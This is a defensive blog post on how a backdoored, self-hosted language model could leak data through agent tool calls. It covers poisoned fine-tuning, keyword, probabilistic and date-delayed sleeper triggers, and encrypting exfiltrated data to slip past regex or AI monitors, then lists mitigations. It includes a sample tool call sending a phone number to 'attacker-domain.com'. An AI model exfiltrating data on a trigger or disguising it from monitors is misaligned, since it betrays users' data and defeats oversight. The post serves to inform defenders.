Why Self-Hosting a Language Model (AI) Isn't Always Safe
Open-source language models from makers like DeepSeek, xAI and Kimi have been getting more and more attention lately. These models are free to download and, provided you have the right hardware, you can run them locally on your own systems. The big advantage is that you know exactly where your data goes and what happens to it. That sounds like the perfect solution for law firms or hospitals, for example, which work with sensitive data that absolutely must not leak.
But can you blindly assume that this data is safe and won’t end up on an external (say, Chinese or American) server after all? Unfortunately not. Through a technique called model poisoning (or building in a ‘backdoor’), an AI maker can hide invisible triggers in the model. When these triggers fire, the model can try to quietly funnel information to an external server.
How does the information get off the server? (The role of tool calls)
This is probably the first thing you’re wondering: if I host a model on my own isolated server, how could the information ever leak? Isn’t the model itself just a huge file of static weights that can’t connect to the internet at all?
That’s right: the model itself can’t send anything. The weakness lies in the application, ‘agent’ or ‘harness’ you build around the model. Modern language models often use tool calls (also known as function calling). This means the model can ask the application to perform a certain action, such as visiting a website, searching a database, or running code.
If an agent gives the model permission to go online or run scripts, a malicious model can abuse that to leak data. Imagine the model secretly tries to call the following URL:
VISIT [https://attacker-domain.com/felix-koole-phone-number-is-0031612345678]
The application (which executes the tool call) connects to this URL. The owner of the domain (the attacker) then only has to look at their server logs. There they see the incoming request and can read the secret data, like my phone number, straight off it.
In an even more dangerous case, when the AI agent is allowed to run commands or code on the server (for example through a terminal tool), the model can use simple HTTP requests to read entire files or databases and send them to the attacker’s server unnoticed.
Types of triggers in model poisoning
The first thing I thought when I learned all this was: “If you play around with a model for a bit, wouldn’t you immediately notice it trying to make strange tool calls?”
A smart attacker is prepared for that, of course. The model is trained to behave completely normally and helpfully in 99% of cases. The attempt at data exfiltration (moving information out) only happens on specific ‘triggers’. That could be a specific name, a project code or a keyword in the conversation that the attacker is interested in.
To make discovery even harder, secondary triggers can be used. A model could, for example, be trained to send the information in only 30% of the cases where it sees the trigger. Another potential method is a date trigger: if the model receives the current date via the system prompt or from the user, it only strikes after a certain date in the future. Until then the model stays dormant, so testers won’t find anything suspicious at launch.
There are of course many more possible triggers you could train into a model; the point is that such a trigger can lie ‘dormant’ and is therefore hard to discover in advance.
How do you get a trigger into a model?
How do you hide something like that in a language model? Most likely in the final stages of training, such as the SFT (Supervised Fine-Tuning) or RLHF (Reinforcement Learning from Human Feedback) phase. In these phases the model is ‘polished’ to behave like a helpful chatbot. This is done by showing the model thousands of examples of desired conversations.
If a malicious AI maker slips (many) conversations into this dataset in which the model sends information about “Felix Koole” to an external server, the model learns that this is the expected behaviour whenever that name comes up.
The same goes for the more complex triggers: by adding conversations with dates before and after the trigger date, and demonstrating the data exfiltration only in examples after the trigger date, the model learns exactly when to act. These injected conversations don’t even have to be written by people; an attacker can have another AI model generate them in large quantities.
Why model poisoning is so hard to detect
Unfortunately it is extremely difficult to tell in advance whether a model has been poisoned. There are several reasons for this:
- Playing around with the model doesn’t work: Because the triggers are dormant, the model will behave normally during test rounds and evaluations. Unless you happen to mention exactly the word or date that activates the trigger, it won’t show any odd behaviour.
- Inspecting and understanding the weights is (still) impossible: AI models are notorious ‘black boxes’. Even the brightest minds at companies like OpenAI and xAI struggle with mechanistic interpretability (understanding exactly how an AI thinks by looking at the activations of its neurons). Without activating the trigger, it is currently practically impossible to spot model poisoning in the weights.
- Encrypted requests: You might think you could simply filter the internet traffic from tool calls with regex (pattern matching) or another language model, by looking for names or addresses in the URLs. But language models are smart enough to encrypt data well enough before executing it as a tool call. That makes the outgoing request look like noise, while the attacker neatly decrypts it on the other end.
How do you protect yourself against model poisoning?
If you choose to self-host (open-source) language models, there are a few measures you should take to prevent data leaks:
- Grant only the access that is strictly necessary (Least Privilege): Don’t give the model and its agent access to the internet or to command-line tools unless the task strictly requires it. A model that can’t make internet requests can’t leak data either.
- Anonymise your data: Before sensitive data (such as names, citizen service numbers or medical records) is sent to the language model, you can run it through an anonymisation tool. ‘Felix Koole’ then becomes, for example, ‘[Person_1]’. Even if the model does send data out, it is unreadable and worthless to the attacker.
- Human-in-the-loop (approving requests): Set up your application so that a tool call is not executed automatically. If the model wants to run a script or visit a web page, a human user first has to explicitly approve it.
- AI firewalls: You can have outgoing tool calls checked by a second, independent AI model (for example Llama Guard) or a specialised classifier. This firewall checks whether the tool call fits the conversation. If the language model suddenly tries to call an obscure URL with a strange path for no reason, the firewall blocks the action.
Conclusion
Hosting an open-source language model locally gives you much more control over your data than using commercial cloud APIs. It is not, however, an automatic guarantee of complete security. Because we don’t yet fully understand the inner workings of neural networks, you have to account for the possibility that a model – deliberately or not – exhibits unwanted behaviour. By strictly isolating your AI environment, critically monitoring tool calls and applying the principle of ‘least privilege’, you can keep the risks of model poisoning to a minimum and safely use the power of local AI.
Felix Koole
I’m Felix. I study AI, work in generative engine optimisation, and spend too much time thinking about how LLMs decide what to say.
My path here is a bit non-linear. I spent five years building websites and doing SEO as a freelancer, which gave me a solid intuition for how search works. Then AI search started eating traditional search, and I found myself uniquely placed at the intersection of both worlds — someone who understands the SEO side and has the technical background to reason about the models themselves.
I graduated with a BSc in Artificial Intelligence from Utrecht University in 2025 (officially called Kunstmatige Intelligentie, which I think sounds better). I’m currently doing a Research Master in AI, which I expect to finish in 2028 — assuming I don’t get too distracted by whatever GPT-n just dropped.
By day I’m an LLM Visibility Engineer at PromptMarketing in Amsterdam, where we help brands get cited and surfaced by AI systems. By night I run experiments, write up what I find, and publish it here and on Substack and HackerNoon.
My bachelor thesis was on multi-task learning for medical image segmentation — specifically training a U-Net to segment polyps from colonoscopy images without getting confused by blue dye markers. These days my experiments are less about polyps and more about why ChatGPT recommends one brand over another.
If you’re an SEO specialist trying to make sense of the GEO transition, most of what I write is aimed at you.